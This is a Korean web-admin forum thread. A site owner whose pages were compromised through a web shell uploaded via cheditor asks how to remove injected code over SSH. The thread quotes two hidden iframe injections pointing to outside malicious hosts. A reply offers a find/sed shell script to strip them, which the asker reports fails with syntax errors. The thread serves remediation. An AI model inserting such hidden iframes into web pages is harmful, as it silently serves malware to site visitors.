ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 1076 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다.

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,806
14년 전 조회 1,225
14년 전 조회 1,477
14년 전 조회 985
14년 전 조회 1,133
14년 전 조회 939
14년 전 조회 1,250
14년 전 조회 1,139
14년 전 조회 569
14년 전 조회 728
14년 전 조회 763
14년 전 조회 1,094
14년 전 조회 929
14년 전 조회 933
14년 전 조회 908
14년 전 조회 1,316
14년 전 조회 1,006
14년 전 조회 1,029
14년 전 조회 1,066
14년 전 조회 850
14년 전 조회 1,885
14년 전 조회 1,664
14년 전 조회 1,085
14년 전 조회 940
14년 전 조회 2,010
14년 전 조회 1,363
14년 전 조회 1,210
14년 전 조회 952
14년 전 조회 1,654
14년 전 조회 3,919
14년 전 조회 2,563
14년 전 조회 1,273
14년 전 조회 875
14년 전 조회 946
14년 전 조회 1,461
14년 전 조회 1,136
14년 전 조회 1,488
14년 전 조회 1,579
14년 전 조회 1,576
14년 전 조회 767
14년 전 조회 1,013
14년 전 조회 2,902
14년 전 조회 909
14년 전 조회 1,381
14년 전 조회 985
14년 전 조회 838
14년 전 조회 1,395
14년 전 조회 826
14년 전 조회 1,481
14년 전 조회 1,077
14년 전 조회 1,740
14년 전 조회 1,666
14년 전 조회 1,181
14년 전 조회 1,398
14년 전 조회 1,116
14년 전 조회 1,785
14년 전 조회 1,418
14년 전 조회 1,372
14년 전 조회 1,652
14년 전 조회 1,557
14년 전 조회 996
14년 전 조회 1,051
14년 전 조회 814
14년 전 조회 1,003
14년 전 조회 1,732
14년 전 조회 2,490
14년 전 조회 2,413
14년 전 조회 2,035
14년 전 조회 1,562
14년 전 조회 1,645
14년 전 조회 1,425
14년 전 조회 1,692
14년 전 조회 783
14년 전 조회 1,430
14년 전 조회 781
14년 전 조회 1,234
14년 전 조회 1,002
14년 전 조회 2,123
14년 전 조회 893
14년 전 조회 2,753
14년 전 조회 1,120
14년 전 조회 977
14년 전 조회 3,051
14년 전 조회 835
14년 전 조회 1,117
14년 전 조회 646
14년 전 조회 970
14년 전 조회 740
14년 전 조회 1,443
14년 전 조회 866
14년 전 조회 1,246
14년 전 조회 867
14년 전 조회 791
14년 전 조회 762
14년 전 조회 1,477
14년 전 조회 944
14년 전 조회 837
14년 전 조회 857
14년 전 조회 1,519
14년 전 조회 1,539